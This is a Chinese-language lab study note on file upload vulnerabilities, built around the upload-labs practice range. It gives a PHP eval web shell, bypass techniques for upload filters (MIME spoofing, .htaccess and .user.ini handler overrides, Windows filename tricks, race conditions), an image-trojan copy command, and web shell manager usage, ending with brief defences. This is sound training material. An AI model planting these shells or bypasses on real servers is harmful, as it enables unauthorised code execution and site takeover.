文件上传漏洞专题:前端校验绕过、服务端 MIME 绕过、图片马怎么用 copy /b 做出来、%00 截断和二次渲染——这些都是我在靶场里一遍遍试出来的结论。
核心知识点
1. 一句话木马
<?php @eval($_POST['cmd']); ?>
- eval() 执行的 PHP 代码,
$_POST['cmd']接收外部,参数名就是”连接密码”。 - 可给 cmd 传参执行任意 PHP 代码,如
phpinfo()。 - 注意:
system()这类函数本质仍是 PHP 函数,只是能调用系统命令(Windows cmd / Linux shell)。
2. 上传靶场要点
- 上传后确认文件存储路径(如
upload/目录)。 - 上传看似成功但文件可能损坏/被拦截 → 检查上传目录确认文件存在。
- 用”在新标签中打开图片”验证上传是否真正有效。
- 前端校验最容易绕过:禁用 JavaScript、直接改文件后缀(.php→.png)骗过前端;真正的防护依赖服务端校验。
3. 各绕过手法(upload-labs 1~17 )
| 校验方式 | 绕过方法 | |
|---|---|---|
| 第一 | 前端 JS 校验(只图片格式) | 浏览器禁用 JS / 修改后缀 / Burp 抓改请求 |
| 第二 | 后端 Content-Type 白名单校验 | Burp 抓修改 Content-Type 为 image/png |
| 第三 | 后缀名黑名单 | 上传 .php3、.php5 等变体,利用 Apache 解析容错机制(了 php* 通即按 PHP 解析) |
| 第四 | 严格后缀黑名单(禁用 php 变种) | 上传 .htaccess 目录级,将 .jpg 文件强制按 PHP 解析 |
| 第五 | 严格后缀黑名单(禁用 .htaccess) | 上传 .user.ini 目录级 PHP ,用 auto_prepend_file 预加载图片马 |
| 大小写统一校验遗漏 | 用大写 .PHP 绕过 | |
| 第七 | 后缀小写化 + 去空格 | 文件名加空格如 test.php ,Windows 存储时自动去空格 |
| 去尾部点 | 文件名加 . 如 test.php.,Windows 解析仍当 php | |
| 第九 | 特殊字符过滤 | Windows 文件流:test.php::$DATA 或 test.php.:date |
| 第十~十二 | 后缀名白/黑名单 | 双写 pphphp、%00 截断(旧版本)等 |
| 第十三 | 文件头 Magic Number 校验 | 文件开头加 GIF89a 伪造 GIF 头,绕过简单文件头检查 |
| 第十四 | getimagesize() 真实图片检测 | 需用真正的图片马(图片+代码合并) |
| 第十五 | 更深度图片类型检测 | 开启 PHP exif 扩展后正常识别;需图片马 |
| 二次渲染 | 比对原始文件与渲染后文件的二进制,把一句话木马未被修改的”稳定区域” | |
| 第十七 | 上传后删除(存在时间差) | 条件竞争:并发上传+访问,在删除前执行代码 |
4. 图片马制作(图片 + 代码合并)
# Windows:二进制方式读取图片,文本方式追加 PHP 代码
copy 1.jpg /b + test.php /a 2.jpg
- 生成的文件仍以图片字节开头,某些上传检查会识别为图片;文件尾部带 PHP 代码,被 include 时 PHP 标签被执行。
- 文件头标识(Magic Number):
- JPEG:
FFD8 - PNG:
89504E - GIF:
GIF89a(进制4749 4638 3761)
- JPEG:
5. WebShell 管理
- 菜刀(China Chopper)、蚁剑、冰蝎:连接一句话木马,管理后门文件、执行命令。
- 连接密码 = 传参的参数名(如
cmd)。 - 用需注意:默认 POST 请求方式与浏览器 GET 的差异(连接失败时检查请求方法)。
- 一句话木马被过滤 “php” 时,需思考让服务器执行代码的方式(如利用文件漏洞间接触发)。
6. Apache/Nginx 解析特性
- Apache 解析漏洞:
httpd.conf中了 MIME 映射,.php3/.php5/.phtml等以php开头的后缀都被当作 PHP 执行;无此则无法解析。 .htaccess目录级(需AllowOverride All):
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini(PHP-FPM 模式下生效):
auto_prepend_file = 图片马路径.jpg
访问任意 PHP 文件前自动指定图片。
- 环境差异:Apache 默认不启动 php-fpm 进程,user.ini 不生效;需切到 Nginx + 带 NTS 的 PHP 版本才生效。
7. 条件竞争
- 原理:代码”保存后检查删除”,存在时间差;木马文件在删除前可能被访问执行。
- 思路:上传的
test.php用file_put_contents()主动生成新文件,新文件不受原删除影响。 - 实操:Burp Intruder 空(non-payload)跑 5000 次并发,默认 10 线程,同时持续上传和访问;只要有一次访问返回非 404 即抓住时间窗口。
<?php file_put_contents('shell.php', '<?php phpinfo(); ?>'); ?>
8. 防御
- 白名单校验(比黑名单可靠——黑名单难以穷尽所有危险后缀)。
- 随机文件名,攻击预测保存路径;重新编码图片去除尾部附加。
- 存储到 Web 根目录之外;独立域名/对象存储隔离执行环境。
- 禁止上传目录 PHP 解析(Nginx 不解析 upload 目录)。
- 上传目录与代码目录隔离,被文件利用。
实操步骤
# 1. 前端校验绕过:Burp 抓把扩展名 .jpg 改为 .php
# 2. MIME 绕过:修改 Content-Type: image/png
# 3. 后缀变体:test.php5 / test.php3(Apache 解析)
# 4. .htaccess 上传(见上)后上传 test.jpg 图片马
# 5. 图片马合并
copy 1.jpg /b + test.php /a 2.jpg
# 6. 条件竞争:Burp Intruder 空 5000 次并发上传+访问
常见错误与排查
- 上传后访问 404 → 文件被随机重命名/目录不对/upload 目录不存在(重建 upload 目录)。
- 木马不执行 → 检查 PHP 语法(分号)、参数名是否正确、请求方法 GET/POST 是否。
- php3/php5 不解析 → 确认 Apache 了对应 MIME 类型。
- .htaccess 不生效 → 检查
AllowOverride All是否开启(phpStudy 默认可能为 None)。 - .user.ini 不生效 → 需切换 php-fpm 模式(或 Nginx + NTS PHP)。
- 第 16 二次渲染 → 用 010 Editor 等比对渲染前后二进制,找未变区域代码。
- 第 17 条件竞争失败 → 多线程并发 + 持续访问,脚本自动化更可靠。